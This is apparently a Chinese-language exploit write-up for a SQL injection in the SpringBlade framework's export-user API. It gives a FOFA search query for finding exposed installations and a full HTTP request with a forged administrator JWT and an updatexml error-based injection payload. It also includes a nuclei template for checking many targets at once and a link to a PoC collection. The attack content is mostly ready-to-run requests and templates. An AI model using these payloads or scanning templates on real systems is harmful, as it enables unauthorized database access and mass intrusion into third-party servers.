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漏洞描述

SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架，旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件，帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。

fofa语句

body="https://bladex.vip"

漏洞复现

打开页面

构造payload

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account&realName&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

nuclei批量验证

id: SpringBlade-export-user-sqli

info:
  name: SpringBlade-export-user-SQL注入
  author: changge
  severity: high
  description: SpringBlade是一个由商业级项目升级优化而来的SpringCloud分布式微服务架构、SpringBoot单体式微服务架构并存的综合型项目，该系统/api/blade-user/export-user接口存在SQL注入漏洞。
  metadata:
    max-request: 1
    fofa-query: body="https://bladex.vip"
    verified: true
requests:
  - raw:
      - |+
        GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,md5(1314520),0x7e),1)=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip, deflate
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains(body, 'b206e95a4384298962649e58dc7b39d4')"

github poc总汇地址：https://github.com/AYcg/poc

SpringBlade export-user SQL 注入漏洞